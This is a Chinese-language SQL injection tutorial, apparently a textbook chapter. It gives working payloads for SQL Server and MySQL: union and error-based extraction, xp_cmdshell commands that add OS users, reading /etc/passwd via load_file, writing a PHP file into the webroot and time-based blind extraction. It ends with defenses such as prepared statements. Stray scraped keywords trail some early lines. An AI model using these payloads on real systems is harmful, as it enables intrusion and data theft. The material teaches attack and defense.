SQL注入漏洞分類php
分爲:數字型和字符型程序員
數字型注入:在弱類型語言中容易產生該類漏洞,如ASP、PHP。算法
強類型語言中若是試圖將一個字符型轉換爲int型,則會拋出異常,沒法繼續執行,如JAVA、C#等。sql
因此在強類型語言中不多存在數字型注入漏洞。shell
斷定如類型語言的 數字型注入漏洞三步走:數據庫
前提:假設有URL爲HTTP://www.xxser.com/test.php?id=8,能夠猜想其SQL爲select * from table where id=8數組
測試步驟:瀏覽器
一、HTTP://www.xxser.com/test.php?id=8'安全
SQL語句爲HTTP://www.xxser.com/test.php?id=8',這樣的語句確定會出錯,服務器
致使腳本程序沒法從數據庫中獲取正常數據,從而是原來的頁面出現異常。
二、HTTP://www.xxser.com/test.php?id=8 and 1=1
SQL語句爲select * from table where id=8 and 1=1,語句執行正常,返回數據與原始請求無差別。
三、HTTP://www.xxser.com/test.php?id=8 and 1=2
SQL語句變爲select * from table where id=8 and 1=2,語句執行正常,但卻沒法查詢出數據,
由於「1=2」始終爲假。因此返回數據與原始請求有差別。
若是以上三個步驟所有知足,則程序就可能存在SQL注入漏洞。
字符型注入:輸入參數爲字符時,成爲字符型
數字型和字符型的區別在於,數字型不須要單引號閉合,而字符串類型通常要使用單引號來閉合。
數字型例句:select * from table where id=8
字符型例句:select * from table where username='admin'
字符型注入最關鍵的在於如何閉合SQL語句以及註釋掉多餘的代碼。
例如:
當查詢內容爲字符串時,SQL代碼以下:
select * from table where username='admin'
當攻擊者進行SQL注入時,若是過輸入「amdin and 1=1」,則沒法進行注入。
由於「amdin and 1=1」 會被數據庫當作查詢條件字符串來處理,SQL以下:
selec * from table where username = 'admin and 1=1'
這時想要進行注入,則必須注意字符串閉合問題。若是輸入「admin ’and 1=1 --」就能夠繼續注入,SQL以下:
select * from table where username ='admin' and 1=1 --'
只要會字符串類型注入,都必須閉合單引號以及註釋掉多餘的代碼。例如,uodate語句:
update Person set username='username' ,set password='password' where id=1
如今對該語句進行注入,就須要閉合單引號,能夠在username或者password處插入語句爲:
"'+(select @@version)+'",
最終的執行語句爲:
update Person set username='username', set password=''+(select @@version)+ '' where id =1
利用兩次單引號閉合才能完成SQL注入
注:數據庫不一樣,字符串鏈接符也不一樣,
如SQL Server 鏈接符號爲「+」,Oracle鏈接符號爲「||」,Mysql的鏈接符號爲空格。
例如Insert語句:
Insert into users (username,password,title) values('username', 'password','titile')
當注入title字段時,能夠像update同樣,直接使用一下SQL語句:
Insert into users (username,password,title) values('username', 'password',''+(select @@version)+'')
SQL注入類型
整體來說仍是分爲兩類,數字型和字符型
注入字段在不一樣的位置,產生一些常見的注入叫法:
POST注入:注入字段在POST數據中
Cookie注入:注入字段在Cookie數據中
延時注入:使用數據庫延時特性注入
搜索注入:注入處爲搜索的地點
base64注入:注入字符串須要通過base64加密
常見的數據庫注入
數據庫:Oracle11g,MySQL5.1,SQL Server 2008
方式:查詢數據,讀寫文件,執行命令
針對數據庫的注入無非都是上面三件事。
5.3.一、SQL Server
一、利用錯誤消息提取信息
SQL Server對錯誤信息的定位十分準確,對開發是好事兒,對攻擊者也是不錯的。
1.1 枚舉當前表和列
在查詢sql中插入以下語句: 'having 1=1--
select * from users where username='root' and password='root' having 1=1 --'
這樣SQL執行器會報錯,選擇列表中的列’users.id‘無效,由於該列沒有包含在聚合函數或group By子句中。
這樣攻擊者能夠利用此特性繼續找到其餘的列明,輸入SQL以下:
select * from users where username='root' and password='root' group by users.id having 1=1 --
1.2 利用類型錯誤提取數據
試圖利用不一樣類型字段之間的比較,使得sql編譯器拋出異常,獲取信息,以下SQL:
select * from users where username='root' and password='root'
and 1 > (select top 1 username from users)
執行器錯誤提示:
在將varchar值’root‘轉換成數據類型int時失敗,這樣就暴露了root這個帳戶,一次遞歸會發現全部的帳戶
select * from users where username='root' and password='root' and
1>(select top 1 username from users where username not in ('root'))
若是不嵌套子查詢,也一樣能夠達到目的,須要用到SQL Server的內置函數CONVERT或者CASE函數,
這兩個函數的功能是:將一種數據類型 轉轉爲另外一種數據類型。
輸入以下SQL語句:
select * from users where username='root' and password='root'
and 1=convert(int ,(select top 1 users.username from users))
若是感受遞歸比較麻煩,能夠經過FOR XML PATH語句將查詢的數據生成XML,SQL語句以下:
select* from users where username='root' and password='root'
AND 1=convert(int, (select stuff((select',' + users.usrename,'|' +
users.password from users for xml path ('')),1,1,'')))
二、獲取元數據
SQL Server提供大量的視圖,便於取得元數據。下面使用information_schema.tables 與
information_schema.columns視圖取得數據庫表以及表的字段。
取得當前數據庫表:
select table_name from infromation_schema.tables
取得表Student表字段:
select columnname from information_schema.columns where table_name='Student'
還有其餘的一些視圖:
sys.databases:SQL Server中全部的數據庫
sys.sql_logins:SQL Server全部登陸名
information_schema.tables:當前用戶數據庫中的表
information_schema.columns:當前用戶數據庫中的列
sys.all_columns:用戶定義對象和系統對象的全部列的聯合
sys.databases_principals:數據庫中每一個權限或列異常權限
sys.databases_files:存儲在數據庫中的數據庫文件
sysobjects:數據庫中建立的每一個對象,例如:約束、日誌 以及存儲過程
三、Orderby子句
爲SELECT查詢的列排序,若是同時指定了TOP關鍵字,Order by子句在視圖、內聯函數、派生表和子查詢中無效。
攻擊者一般會經過注入Order by語句來判斷此表的列數。
SQL語句:
1 、select id,username,password, from users where id=1 -------SQL執行正常
2 、select id,username,password, from users where id=1 Order by 1 ---按照第一列排序,SQL執行正常
三、select id,username,password, from users where id=1 Order by 2 ---按照第二列排序,SQL執行正常
四、select id,username,password, from users where id=1 Order by 3 ---按照第三列排序,SQL執行正常
五、select id,username,password, from users where id=1 Order by 4 ---按照第四列排序,SQL執行異常
錯誤提示:Order by 位置號 4 超出了選擇列表中相熟的範圍
這樣攻擊者得知當前SQL語句有幾列,隨後會配合union關鍵字進行下一步的攻擊
四、Union查詢
union關鍵字將兩個或者更多個查詢結果組合爲單個結果集,俗稱聯合查詢。
使用union合併兩個查詢結果集的基本規則:
一、全部查詢中的列數必須相同
二、數據類型必須兼容
例如,聯合查詢探測字段數
前面介紹的USERS表,查詢ID字段爲1 的用戶,正常的SQL語句
select id ,username,password from users where id=1
使用Union查詢對id字段注入,SQL語句以下:
select id,username,password,sex from users where id=1 union select null
數據庫發生異常,:使用union,intersect或者except運算符合並的全部查詢必須再起目標列中有相同的表達式
遞歸查詢,知道無錯偏差生,可得知User表查詢的字段數
union select null,null
union select null,null,null
也有人喜歡使用select 1,2,3語句,不過該語句容易出現類型不兼容的異常。
例二:聯合查詢敏感信息
上面例子介紹如何獲取字段數,接下來曝光攻擊者如何使用union關鍵字查詢敏感信息,
union查詢能夠在SQL注入中發揮很是大的做用。
得知四列後,可使用一下語句繼續注入:
id=5 union select 'x',null,null,null from stsobject where xtype='U'
若是數據類型不匹配,數據庫會報錯,這是能夠繼續遞歸查詢,知道語句正常執行爲止。
語句執行正常,表明數據類型兼容,就能夠將x替換爲SQL語句,查詢敏感信息。
union和union all 最大的區別在於union會自動去除重複的數據,而且按照默認規則排序。
五、無辜的函數
SQL Server存在一些系統函數,利用系統函數能夠方位SQL Server系統表中的信息。
select suser_name();返回用戶的登錄標識號
select user_name():基於指定的標識號返回數據庫的用戶名
select db_name():返回數據庫名稱
select is_member('db_owener'):是否爲數據庫角色
select convert(int,'5'):數據類型轉換
SQL Server經常使用函數:
stuff:字符串截取函數
ascii:取ASCII碼
char:根據ASCII碼取字符
getdate:返回日期
count:返回卒中的總條數
cast:將一種數據類型的表達式顯示的轉換成另外一種數據類型的表達式
rand:返回隨機值
is_srvrolemember:只是SQL Server登陸名是否爲指定服務器角色的成員
六、危險的存儲過程
存儲過程(Stored Procedure) 是在大型數據庫系統中爲了完成特定功能的一組SQL「函數」。
如執行系統命令,查看註冊表,讀取磁盤目錄等。
攻擊者最常使用的存儲過程是 xp_cmdshell,這個存儲過程容許用戶執行操做系統命令。例如:
http://demo.testfire.net/test.aspx?id=1 存在注入點,那麼攻擊者能夠試試攻擊:
http://demo.testfire.net/test.aspx?id=1;exec xp_cmdshell 'bet user test test /add'
最終執行的SQL語句以下:
select * from table where id=1;exec xp_cmdshell 'bet user test test /add'
攻擊者能夠直接利用xp_cmdshell操做服務器。
注:只有持有control server 權限的用戶才能使用此類存儲過程。
常見的存儲過程:
sp_addlogin:建立新的SQL Server登陸,該登陸容許用戶使用SQL Server身份驗證鏈接到SQL Server實例
sp_dropuser:從當前數據庫中刪除數據庫用戶
xp_enumgroups:提供Windows本地組列表或指定的Windows域中定義的全局組列表
xp_regwrite:違背公佈的存儲過程,寫入註冊表
xp_regread:讀取之策表
xp_regdeletevalue:刪除註冊表
xp_dirtree:讀取目錄
sp_password:更改密碼
xp_servicecontrol:中止或激活某服務
另外,任何一種數據庫在使用一些特殊的函數或者存儲過程時,都須要特定的權限,不然沒法使用。
SQL Server數據庫的以爲與權限以下:
bulkadmin:運行BULK INSERT語句
dbcreator:建立,更改,刪除和還原任何數據庫
diskadmin:管理磁盤文件
processadmin:能夠終止在數據庫引擎中實例中運行的進程
securityadmin:管理登陸名及其屬性。能夠利用grant,deny和revoke服務器級別的權限,
還能夠利用grant,deny,和revoke數據庫級別的權限,還能夠重置SQL Server登陸名的密碼
serveradmin:能夠更改服務器範圍的配置選項和關閉服務器
setupadmin:能夠添加或刪除連接服務器,並能夠執行某些系統存儲過程
sysadmin:角色成員能夠在數據庫引擎中執行任何活動。
默認狀況下Windows BUILTIN\Administrator組的全部成員都是sysadmin固定服務器角色的成員。
七、動態執行
SQL Server支持動態執行語句,用戶能夠經過提交字符串來執行SQL語句,例如:
exec('select username,password from users')
exec('selec'+'t username ,password fro' + 'm users')
因爲大部分Web應用程序防火牆都過濾了單引號,利用exec執行十六進制SQL語句並不存在單引號,
這一特殊性能夠突破不少防火牆及防注入程序,如:
declare @query varchar(888)
select @query=0x73656C6563742031
exec(@query)
或者:
declare /**/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)
5.3.二、MySQL
數據庫的注入過程基本上是類型,不一樣的是各個數據的一些使用函數或語句有些差別,
如,查看數據庫SQL Server使用函數@@version,而MySQL是version()。
一、MySQL中的註釋
#:註釋從 # 字符到行尾
--:註釋從 --序號到行尾,須要注意的是,使用此註釋時,後面須要跟上一個或者多個空格或tag均可以
/**/:註釋從/*序列到*/序列中間的字符,其中/**/註釋存在一個特色
select id /*!5555, username */ from users
執行結果中發現/**/註釋沒有起到做用,語句正常執行。其實這不是註釋,而是/*!*/,感嘆號是有特殊意義的,
如/*!5555,username*/的意思是
若MySQL的版本號高於或者等於5.55.55,語句將會被執行,若是!後面不加版本號,MySQL將會直接執行SQL語句。
二、獲取元數據
MySQL5.0及其以上版本提供了INFORMATION_SCHEMA,INFORMATION_SCHEMA是信息數據庫,
它提供了訪問數據庫元數據的方式。下面介紹若是從中讀取數據庫名稱、表名稱、列名稱。
一、查詢用戶數據庫名稱
select schema_name from information_schema.shemata limit 0,1
--從information_schema.shemata表中查詢第一個數據庫名稱
二、查詢當前數據庫表
select table_name from information_schema.tables where table_schema=(sleect database()) limit 0,1
--查詢當前數據庫表,只顯示第一條數據
三、查詢指定表的全部字段
select column_name from information_schema.columns where table_name='Student' limit 0,1
-- 查詢 table_name爲Student的字段名
三、UNION查詢
MySQL的官方解釋union查詢 用於吧來自許多的select語句的結果組合到一個結果集中,且每列的數據類型必須相同。
MySQL和Oracle不像SQL Server那樣能夠執行多語句,因此在利用查詢是,一般配合union關鍵字。
MySQL和SQL Server中執行:
select id ,username,password from users union select 1,2,3
Oracle中執行:
select id ,username,password from users union select 1,2,3 from dual
執行後,SQL Server和Oracle 報錯,數據類型不匹配,沒法正常執行,MySQL語句正常執行。
由此返現,在Oracle和SQL Server中,列的數據類型在不肯定的狀況下,最好使用NULL關鍵字匹配。
注意:一、UNION 結果集中的列名老是等於第一個 SELECT 語句中的列名
二、UNION 內部的 SELECT 語句必須擁有相同數量的列。列也必須擁有類似的數據類型。同時,每條 SELECT 語句中的列的順序必須相同
MySQL的Group by
group by語法能夠根據給定數據列的每一個成員對查詢結果進行分組統計,最終獲得一個分組彙總表
SELECT DEPT, MAX(SALARY) AS MAXIMUM FROM STAFF GROUP BY DEPT
注意:
必須在group子句以前指定where子句,
在SELECT語句中指定的每一個列名也在GROUP BY子句中提到。未在這兩個地方提到的列名將產生錯誤。
在group by子句後使用HAVING子句,HAVING子句可包含一個或多個用AND和OR鏈接的謂詞,
HAVING 子句基本上老是包含彙集函數
如:select uid,email,count(*) as ct from `edm_user081217` GROUP BY email HAVING ct > 1
先用group by 對email進行分組,在用having來過濾大於1的,這樣查找出來的就是重複的記錄了.
WHERE 子句做用於表和視圖,HAVING 子句做用於組。
四、MySQL函數利用
一、load_file()函數讀取文件操做
文件必須在服務器上,文件的路徑必須爲絕對路徑(全路徑),並且用戶必須持有FILE權限,文件容量也必須小於 max_allowed_packet字節(默認16MB,最大1GB)
SQL語句,union select 1, load_file('/etc/password'),3,4,5,6 #
一般,一些防注入語句不容許單引號出現,那麼使用一下語句繞過:
union select 1, load_fille(0x2F6563742F706173737764),3,4,5,6#
0x2F6563742F706173737764爲/etc/password十六進制的轉換結果,或者使用:
union select 1, load_file(char(47,101,99,116,47,112,97,115,115,117,100))),3,4,5,6 #
在SQL注入中,將會常常出現使用函數組合來達到某種目的,例如,在瀏覽器返回數據時,有可能出現亂碼問題,那麼可使用hex()函數將字符串轉換爲十六進制數據:
select hex( load_file(char(47,101,99,116,47,112,97,115,115,117,100)));
二、into outfile寫文件操做
MySQL提供向磁盤寫入文件的操做,與load_file()同樣,必須持有FILE權限,而且文件必須爲全路徑名稱。
select '<?php phpinfo();?>' into outfile 'c:\wwwroot\1.php'
select char(99,58,92,50,46,116,120,116) into outfile 'c:\wwwroot\1.php'
三、鏈接字符串
在MySQL中若是須要一次性查詢多個數據,可使用concat()或concat_ws()函數
3.一、concat()函數
select name from users where id=1 union select concat(user(),',',database(),',',version());
結果以下:
+*********************************************************+
|name |
+**********************************************************+
| admin |
|xxser |
|root@localhost,mychool,5.1.50-community-log|
+**********************************************************+
能夠發現,如今三個值已經成爲一列,而且以逗號隔開。在concat()函數中的逗號能夠用十六進制表示
concat(user(),0x2c,database(),0x2c,version())
3.二、concat_ws()函數
比concat()函數更簡潔
concat_ws(0x2c,user(),database(),version())
select name from users where id=1 union select concat_ws(0x2c,user(),database(),version());
更多經常使用函數及說明
函數 | 說明 |
length | 返回字符串長度 |
substring | 截取字符串長度 |
asscii | 返回ASCII碼 |
hex | 把字符串轉換 爲十六進制 |
now | 當前系統時間 |
unhex | hex的反向操做 |
floor(x) | 返回不大於x的最大整數值 |
md5 | 返回MD5值 |
group_concat | 返回帶有來自一個組的鏈接的非NULL值的字符串結果 |
@@datadir | 讀取數據庫路徑 |
@@basedir | MySQL安裝路徑 |
@@version_complite_os | 操做系統 |
user | 用戶名 |
current_user | 當前用戶名 |
system_user | 系統用戶名 |
database | 數據庫名 |
version | MySQL數據庫版本 |
五、MySQL顯錯式注入
顯錯式注入,即利用數據庫的報錯信息提取消息。
六、寬字節注入
是由編碼不統一形成的,這種注入通常出如今PHP+MySQL中。
七、MySQL長字符截取
在默認狀況下,若是輸入數據超過默認長度,MySQL會將其截斷。
八、延時注入
因爲網站技術的不斷提高,在url中添加什麼語句都不會有變化,只能經過盲注判斷,盲注即頁面無差別的注入。
延時注入屬於盲注的一種,是一種基於時間差別的注入技術,下面以MySQL爲例,主要講一下延時注入
在MySQL中有一個函數:SLEEP(duration),這個函數的意思是在duration參數給定的秒數後運行語句,以下sql:
select * from users where id=1 and sleep(3); /*三秒後執行SQL語句*/
知道了sleep函數能夠延時後,那就可使用這個函數來判斷URL是否存在SQL注入漏洞,步驟以下:
一、http://www.secbug.com/user.jsp?id=1 //頁面返回正常,1秒左右打開界面
二、http://www.secbug.com/user.jsp?id=1 ' //頁面返回正常,1秒左右能夠打開頁面
三、http://www.secbug.com/user.jsp?id=1 ' and 1=1 //頁面返回正常, 1秒左右能夠打開頁面
四、http://www.secbug.com/user.jsp?id=1 and sleep(3) //頁面返回正常,3秒左右能夠打開頁面
經過頁面返回的時間能夠判定,DBMS執行了and sleep(3)語句,這樣一來,就能夠判斷出URL確實存在SQL漏洞。
經過sleep函數能夠判斷出注入點,那麼能讀出數據嗎?
答案是確定能夠的,可是須要與其餘函數配合使用,下面就是經過延時韓式注入讀取當前MySQL用戶的例子。
思路:
一、查詢當前用戶,並取得字符串長度
二、截取字符串的第一個字符,並轉換爲ASCII碼
三、將第一個字讀的ascii碼與ASCII碼錶對比,若是過比對成功則延時3秒
四、繼續步驟2/3,直至字符串截取完畢
對應的SQL語句以下:
一、and if(length(user())=0, sleep(3),1)
循環0,若是出現3秒延遲,就能夠判斷出user字符串長度,注入時一般會採用半折算法減小判斷。
二、and if(hex(mid(user(),1,1))=1, sleep(3),1)
取出user字符串的第一個字符,而後與ASCII碼錶循環對比
三、and if(hex(mid(user(),L,1))=N,sleep(3),1)
遞歸破解第二個ASCII碼,第三四五個ASCII碼
同理,既然經過延時注入能夠讀取數據庫當前MySQL用戶,那麼讀取表、列、文件都是能夠實現的。
注:L是位置表明字符串的第幾個字符,N的位置表明ASCII碼。
SQL Server中的waitfor delay,Oracle中DBMS_LOCK.SLEEP等函數。
5.四、注入工具
SQLMap,pangolin,Havij
5.五、防止SQL注入
SQL注入攻擊的問題最終歸於用戶能夠控制輸入,SQL注入、xss、文件包含、命令執行均可歸於此。
有輸入的地方就可能存在風險。簡單粗暴的方式:
禁止或者過濾掉單引號,問題是外國人的名字中有單引號,數字型注入也不必定會使用單引號
禁止輸入查詢語句,如select,insert,union關鍵字,問題是能夠經過註釋繞過關鍵字,
如sel/**/ect等,對註釋進行分割,且不影響數據庫的正常執行。
5.5.一、嚴格的數據類型
Java和C#等強類型語言基本上能夠徹底忽略數字型注入,例如請求ID爲1的新聞,攻擊者想要注入幾乎不可能
5.5.二、特殊字符轉義
經過增強數據類型校驗能夠解決數字型的SQL注入,字符型卻不能夠,由於他們都是string類型,你沒法判斷輸入是否爲惡意攻擊。
對特殊字符轉義--在數據庫查詢字符串時,任何字符串都須要加上單引號。將這些特殊字符轉義可以有效防護字符型SQL注入。
須要轉義的字符參考OWASP ESAPI
在特殊字符轉義過濾SQL注入時,須要注意「二次注入攻擊」
在第一次注入時,將特殊字符轉義,可是在數據庫中存儲時卻沒有‘\’,在第二次查詢時使用單引號匹配注入,如:
第一次插入數據時,單引號被轉義
insert into message(id,title,content) values(3,'secbug\'','secbug.org')
單引號已經被轉義,這樣注入攻擊就沒法成功,但,secbug\'在插入數據庫後去沒有了"\",語句以下:
+*****+*****************+*********************+
|id | title | content |
+****+*******************+*******************+
|1 | secbug' | secbug.org |
+****+*******************+*******************+
這樣若是有另外一處查詢爲:
select id,title,content from message where title='$title'
那麼正宗攻擊就稱爲二次SQL注入,好比講title改成
‘ union select 1, @@version 3 --
,目前不少開源系統都存在這樣的問題,第一次不會出現漏洞,可是第二次卻出現了SQL注入漏洞。
5.5.3 使用預編譯語句
Java、C#等語言提供了預編譯語句。
Java中提供了三個接口與數據庫交互,Statement,CallableStatement,PreparedStatement.
Statement用於執行靜態SQL語句,並返回它們所生成的結果對象。
PrepareStatement爲Statement子類,表示預編譯SQL語句對象。
CallableStatement爲PrepareStatement的子類,用於執行SQL存儲過程。
雖然PrepareStatement接口是安全的,可是若是使用動態拼接SQL語句,那就會失去它的安全性。
想要使PrepareStatement防護SQL注入,必須使用它提供的setter方法(setShort、setString等)。
5.5.四、框架技術
在衆多框架中,有一類框架專門與數據庫打交道,被稱爲持久層框架,好比Hibernate,MyBatis,JORM。
簡要介紹Hibernate:
Hibernate是一個開源代碼的ORM(對象關係映射)框架,他對JDBC進行很是輕量級的對象封裝,
是的Java程序要能夠爲所欲爲的神勇面向對象思惟操做數據庫。
Hibernate是跨平臺的,幾乎不須要修改SQL語句便可適用於各類數據庫,
它的安全性較高,但也一樣存在注入,這類對象關係映射框架注入也被稱爲ORM注入。
Hibernate自定義的SQL語言叫做HQL,是一種面向對象的查詢語言。
使用此語言時千萬不要使用動態拼接的方式組成SQL語句,不然可能形成SQL注入。
5.5.五、存儲過程(Stored Procedure)
在存儲過程當中直接使用exec執行SQL語句,這和直接寫select* from Student where StudentNo=id 沒有區別,傳入參數3 or 1=1
將查詢出所有數據,形成SQL注入漏洞。例如:
create proc findUserId @id varchar(100)
as
exec('select * from Student where StudentNo= ' +@id);
go
改進爲:
create proc findUserId @id varchar(100)
as
select * from Student where StudentNo=@id
go
參數3 or 1=1,SQL執行器拋出錯誤:
在將varchar值'3 or 1=1'轉換爲數據類型int時失敗。
小結:
SQL注入的危害雖然很大,可是能夠徹底杜絕,陳旭開發團隊必定要有本身的安全規範模板,由於不可能每一個程序員都瞭解SQL注入,因此團隊有一套本身的模板後,SQL注入會大大減小。好比碰到SQL語句徹底採用PrepareStatement類,且必須用參數綁定,若是這樣還存在SQL注入,那就是某個程序員沒有遵循規範,這樣就從安全轉移到代碼規範的問題上,只要遵循規範,不會有問題,這一方法不管是SQL注入,仍是後面的其餘漏洞,都適用。